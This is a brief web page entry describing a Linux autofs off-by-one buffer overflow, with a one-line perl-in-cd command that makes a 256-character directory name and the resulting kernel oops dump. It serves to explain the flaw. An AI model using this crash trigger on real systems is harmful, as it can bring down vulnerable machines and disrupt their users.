|
Linux autofs Vulnerability
In this example exploit, we have a user using perl to generate a directory name that's 256 characters (the maximum being 255). The buffer for the directory name will overflow by one byte in this case: [user@localhost auto-mounted-dir]# cd `perl -e 'print "x" x 256'` invalid operand: 0000 CPU: 0 EIP: 0010:[<c0155b00>] EFLAGS: 00010282 eax: 00000000 ebx: c2a90c20 ecx: c265904c edx: c0000000 esi: c29d3b00 edi: c2928000 ebp: c260d940 esp: c26c5ee8 ds: 0018 es: 0018 ss: 0018 Process bash (pid: 360, process nr: 21, stackpage=c26c5000) Stack: 00000000 00000000 c260d940 c260d900 00000286 c0154c58 c0154ca8 c2928000 c260d940 c2928000 c260d900 c2659d50 c26cd3a0 00000286 c0154def c260d900 c029c000 c2928000 c2659d9c c260d900 c2659d50 c0154ef7 c260d900 c260d900 c029c000 c2928000 c2659d9c c260d900 c2659d50 c0154ef7 c260d900 c260d900 Call Trace: [<c0154c58>] [<c0154ca8>] [<c0154def>] [<c0154ef7>] [<c0128759>] [<c0128912>] [<c01289e9>] [<c012126e>] [<c0107a40>] Code: fe ff ff 83 c4 08 eb 03 ff 43 1c 8b 7c 24 1c 83 7f 0c 00 74 -{Shell dies}- |
|
|
Privacy Statement |
